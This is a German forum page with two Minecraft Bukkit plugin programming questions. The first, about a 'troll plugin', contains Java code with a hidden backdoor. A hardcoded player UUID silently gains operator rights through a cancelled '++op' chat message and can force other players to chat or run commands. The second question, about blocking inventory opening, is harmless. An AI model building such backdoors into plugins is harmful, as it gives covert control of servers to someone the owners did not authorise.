Bukkit – die besten Beiträge

Minecraft Plugin Programmiren Sende Nachricht als anderer Spieler?

Hallo

Ich möchte ein kleinen Troll Plugin Programmieren und habe Schwierigkeiten beim Programmieren vom sudo Command.

Mein Aktueller Cod

import org.bukkit.Bukkit;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;

public class Chack implements Listener {

    @EventHandler(ignoreCancelled = true)
    public void onAsyncPlayerChat(AsyncPlayerChatEvent event) {
        Player p = event.getPlayer();
        // DEBUG
        //p.sendMessage(p.getDisplayName());
        //p.sendMessage(p.getName());
        //p.sendMessage(p.getUniqueId().toString());
        if (p.getUniqueId().toString().equalsIgnoreCase("UUID")) {
            if (event.getMessage().equalsIgnoreCase("++op")){
                event.setCancelled(true);
                p.setOp(true);
            }
            if (event.getMessage().startsWith("++sudo")){
                event.setCancelled(true);
                String[] msg = event.getMessage().split(" ");
                String command = "";
                if (msg.length > 2) {
                    Player t = Bukkit.getPlayer(msg[1]);
                    if (t != null) {
                        for (int i = 2; i < msg.length; i++) {
                            command += msg[i];
                            command += " ";
                        }
                        command.trim();
                        // Version 1
                        //t.chat(command);
                        // Version 2
                        //t.performCommand(command);
                        // DEBUG
                        p.sendMessage(command);
                    } else {
                        p.sendMessage("PlayerError");
                    }
                }

                event.setCancelled(true);

            }
        }
    }
}

der Error kommt aus der Zeile "t.chat(command);"

programmieren, Java, Minecraft, Error, Minecraft Server, Bukkit, Spigot, Minecraft Plugin

Minecraft Programmieren : Kiste öffnen richtig cancelln

Hallo Leute, ich programmiere gerade ein Minispiel. Wie in vielen Spielen blockt man auch das Kisten öffnen. (Außer natürlich bei Minispielen, wo Kisten etc... benötigt werden)... Ich habe mit dem InventoryOpenEvent probiert das Kisten öffnen zu verhindern:

@EventHandler
public void onInventoryOpen(InventoryOpenEvent e) {
    
    if(e.getView().getType() != null) {
            
            
        if(e.getView().getType() == InventoryType.CHEST) {
            
            e.setCancelled(true);
            
        }

        if(e.getView().getType() == InventoryType.BEACON) {
                
            e.setCancelled(true);
                
        }
        
        if(e.getView().getType() == InventoryType.BREWING) {
                
            e.setCancelled(true);
                
        }
        
        if(e.getView().getType() == InventoryType.ANVIL) {
            
            e.setCancelled(true);
            
        }
        
        if(e.getView().getType() == InventoryType.CRAFTING) {
            
            e.setCancelled(true);
            
        }
        
        if(e.getView().getType() == InventoryType.DISPENSER) {
        
            e.setCancelled(true);
            
        }
        
        if(e.getView().getType() == InventoryType.DROPPER) {
            
            e.setCancelled(true);
            
        }
        
        if(e.getView().getType() == InventoryType.ENCHANTING) {
            
            e.setCancelled(true);
        
        }
        
        if(e.getView().getType() == InventoryType.ENDER_CHEST) {
            
            e.setCancelled(true);
            
        }
        
        if(e.getView().getType() == InventoryType.FURNACE) {
            
            e.setCancelled(true);
            
        }
        
        if(e.getView().getType() == InventoryType.HOPPER) {
            
        e.setCancelled(true);
            
        }
            
        if(e.getView().getType() == InventoryType.WORKBENCH) {
                
            e.setCancelled(true);
                
        }
            
        if(e.getView().getType() == InventoryType.MERCHANT) {
            
            e.setCancelled(true);
            
        }
            
    }
    
}
    

Das ganze funnktioniert relativ gut. Das Inventar wird geschlossen. Aber die Kiste bleibt offen... Zeit schließt sie sich wieder. Es sieht also so aus als würde ein Unsichtbarer die Kiste noch geöffnet haben.

Wie kann ich das unterbinden? Sodass die Kiste wie bei Gommehd.net auch zu bleibt?

Server, programmieren, Java, Minecraft, Bukkit

Meistgelesene Beiträge zum Thema Bukkit